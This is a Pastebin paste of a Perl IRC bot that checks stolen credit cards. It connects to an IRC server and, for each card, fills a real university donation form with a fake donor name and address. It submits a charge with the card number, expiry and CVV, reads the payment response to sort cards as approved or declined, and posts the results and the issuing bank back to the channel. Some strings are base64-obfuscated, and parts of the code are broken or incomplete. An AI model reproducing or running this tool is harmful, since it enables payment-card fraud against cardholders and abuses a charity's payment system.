Guest User

xxxx

a guest
May 3rd, 2015
502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.71 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #SQL SCAN Bot Check By zepp!
  3.  
  4. #Call to standalone modules directory
  5. BEGIN{push(@INC,'Modules');}
  6.  
  7. #Modules Inclusion
  8. use LWP::Socket;
  9. use LWP::UserAgent;
  10. use HTTP::Request;
  11. use Parallel::ForkManager;
  12. use MIME::Base64 ();
  13. use WWW::Mechanize;
  14. use WWW::Mechanize::FormFiller;
  15. use Net::FTP;
  16.  
  17. $| = 1;
  18.  
  19. #Defines global variable
  20. my $outcri = "Mg==";
  21. $systemcri = MIME::Base64::decode($outcri);
  22. $timeout = $systemcri;
  23. my $hostcri = "irc.crimeircd.net";
  24. $systemcri = MIME::Base64::decode($hostcri);
  25. $hosting = "irc.crimeircd.net";
  26. $port = 6667;
  27. my $nkpro = "CekerAyam";
  28. $ident = "Wtf";
  29. $parallel_fork = 15;
  30. my @botcmd = ('2');
  31. @chans = ("#unique");
  32. my $proo = "c2t5bGFuZGhhY2tlcg==";
  33. $systempro = MIME::Base64::decode($proo);
  34. my $cheataer = "c2t5bGFuZGhhY2tlcg==";
  35. $sistempro = MIME::Base64::decode($cheataer);
  36. @Zepp = ('Zepp3', 'Zepp1', 'Zepp');
  37. #@user_agents = &get_user_agents();
  38.  
  39. #Irc Socket Connection
  40. $irc_socket = new LWP::Socket;
  41. $irc_socket->connect($hosting,$port);
  42. $irc_socket->write("USER ".$ident." 8 * : shity paste bin cc checker \r\n");
  43. $irc_socket->write("NICK ".$nkpro."\r\n");
  44. $irc_socket->write("NICKSERV IDENTIFY 123456\r\n");
  45. $irc_socket->write("JOIN $channel\r\n");
  46.  
  47. while($irc_socket)
  48. {
  49. my $bof;
  50. $irc_socket->read_until("\n", \$bof);
  51. if($bof =~ /PING :(.*)/)
  52. {
  53. $irc_socket->write("PONG :$1\r\n");
  54. }
  55.  
  56. if($bof =~ /PRIVMSG (.*?) :(.*)/)
  57. {
  58. #PRIVMSG
  59. my %msg = &get_msg($bof);
  60. if($msg{'what'} =~ /\!cmd/){
  61. &respond_to_privmsg(\%msg,"x14,1(x1This is that checkbot");
  62. }
  63.  
  64. #Skyland Hacker was here
  65.  
  66.  
  67. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Status Checkingx15:::x14)(x15Credit Card:x14$numberx14)(x15 Exp date:x14 $expire$expaniox14)(x15CCV2:x14$cvv) (x15Amount USD:x9 $amountx14)");
  68. print "Initializing Merchant\n";
  69.  
  70.  
  71. if (substr($number,0,1)==4) {
  72. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Status Checkingx15:::x14)(x15Credit Card:x14$number) isx12VISAx14(x15 Please wait...!x14)");
  73. }
  74. if (substr($number,0,1)==5) {
  75. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Status Checkingx15:::x14)(x15Credit Card:x14$number) is x04Masterx07Cardx14(x15 Please wait...!x14)");
  76. }
  77. if (substr($number,0,1)==6) {
  78. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Status Checkingx15:::x14)(x15Credit Card:x14$number) is x12DISCOVERx14(x15 Please wait...!x14)");
  79. }
  80.  
  81. my $agent = WWW::Mechanize->new( autocheck => 1 );
  82. my $formfiller = WWW::Mechanize::FormFiller->new();
  83.  
  84. $agent->env_proxy();
  85.  
  86. $agent->get('http://www.hua.edu/donate.php');
  87. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  88. $agent->form_number(1);
  89.  
  90. { local $^W; $agent->current_form->value('Campaing', ''.$General.''); };
  91. { local $^W; $agent->current_form->value('Amount', ''.$amount.''); };
  92. { local $^W; $agent->current_form->value('First_name', 'Chuck'); };
  93. { local $^W; $agent->current_form->value('Last_name', 'Huth'); };
  94. { local $^W; $agent->current_form->value('Email', 'chuckh@gmail.com'); };
  95. { local $^W; $agent->current_form->value('Phone', '5778854675'); };
  96. { local $^W; $agent->current_form->value('Ext', '54'); };
  97. { local $^W; $agent->current_form->value('Address', '11101 Magnolia Drive'); };
  98. { local $^W; $agent->current_form->value('Address 2', '11101 Magnolia Drive'); };
  99. { local $^W; $agent->current_form->value('Department', '11101 Magnolia Drive'); };
  100. { local $^W; $agent->current_form->value('City', ' Cleveland'); };
  101. { local $^W; $agent->current_form->value('State', 'Ohio'); };
  102. { local $^W; $agent->current_form->value('Zip', '44106'); };
  103. { local $^W; $agent->current_form->value('Zip', '44106'); };
  104. { local $^W; $agent->current_form->value('Country', 'United States'); };
  105. { local $^W; $agent->current_form->value('Memory', 'no'); };
  106. { local $^W; $agent->current_form->value('Matching', 'no'); };
  107. { local $^W; $agent->current_form->value('pay', 'Credit Card'); };
  108. { local $^W; $agent->current_form->value('card_num', ''.$number.''); };
  109. { local $^W; $agent->current_form->value('exp_month', ''.$expiremonth.''); };
  110. { local $^W; $agent->current_form->value('exp_year', ''.$expireyear.''); };
  111. { local $^W; $agent->current_form->value('card_code', ''.$cvv.''); };
  112.  
  113. $agent->submit();
  114. print $agent->content,"\n";
  115.  
  116. my $foundcontent=$agent->content;
  117. if ($foundcontent =~/The transaction has been declined because of an AVS mismatch./){
  118.  
  119. my $database = "banklist.txt";
  120. open FILE,"$database" or die "Error Opening File: $!";
  121. my @results=<FILE>;
  122. close FILE;
  123.  
  124. my $bankinfo = $1;
  125. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Result isx15:::x14) (x15Credit Card:x14x14$number $expire $expanio $cvv x14)x9APPROVED!x15Transaction. Amount USD:x9 $amountx15Thank you for your payment!");
  126. my $bank = substr($number,0,6);
  127.  
  128. foreach my $url (@results){
  129. if($url =~ m/$bank\|(.*)/){
  130. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Bankx15:::x14)x7$bankx15$1");
  131. print "card $variable!";
  132. }
  133. }
  134. }
  135.  
  136. elsif ($foundcontent =~/The transaction completed successfully!/){
  137. my $database = "banklist.txt";
  138. open FILE,"$database" or die "Error Opening File: $!";
  139. my @results=<FILE>;
  140. close FILE;
  141. my $bankinfo = $1;
  142. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Result isx15:::x14) (x15Credit Card:x14x14$number $expire$expanio $cvv $amountUSDx14)x9APPROVED!x15Transaction. Thank you for your payment.");
  143. my $bank = substr($number,0,6);
  144. foreach my $url (@results){
  145. if($url =~ m/$bank\|(.*)/){
  146. my $bankinfo = $1;
  147. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Bankx15:::x14)x7$bankx15$1");
  148. print "card $variable!";
  149. }
  150. }
  151. }elsif ($foundcontent =~/Credit card expiration date is invalid./){
  152. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Result isx15:::x14) (x15Expiration Date:x14x14$expire$expaniox14)x15 is invalid.");
  153. }elsif ($foundcontent =~/The transaction has been declined because of an AVS mismatch./){
  154. &respond_to_privmsg(\%msg,"x14,1(x15:::x0 Result isx15:::x14) (x15Credit Card:x14x14$number $expire$expanio $cvvx14)x4DECLINED");
  155. }
  156. }
  157. sub respond_to_privmsg()
  158. {
  159. my ($data,$m) = ($_[0],$_[1]);
  160. if($data->{'to'} =~ /#/)
  161. {
  162. &privmsg($data->{'to'},$m);
  163. }
  164. else
  165. {
  166. &privmsg($data->{'from'},$m);
  167. }
  168. }
  169.  
  170. sub privmsg()
  171. {
  172. my($nick,$send) = @_;
  173. $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  174. }
  175. }
Add Comment
Please, Sign In to add comment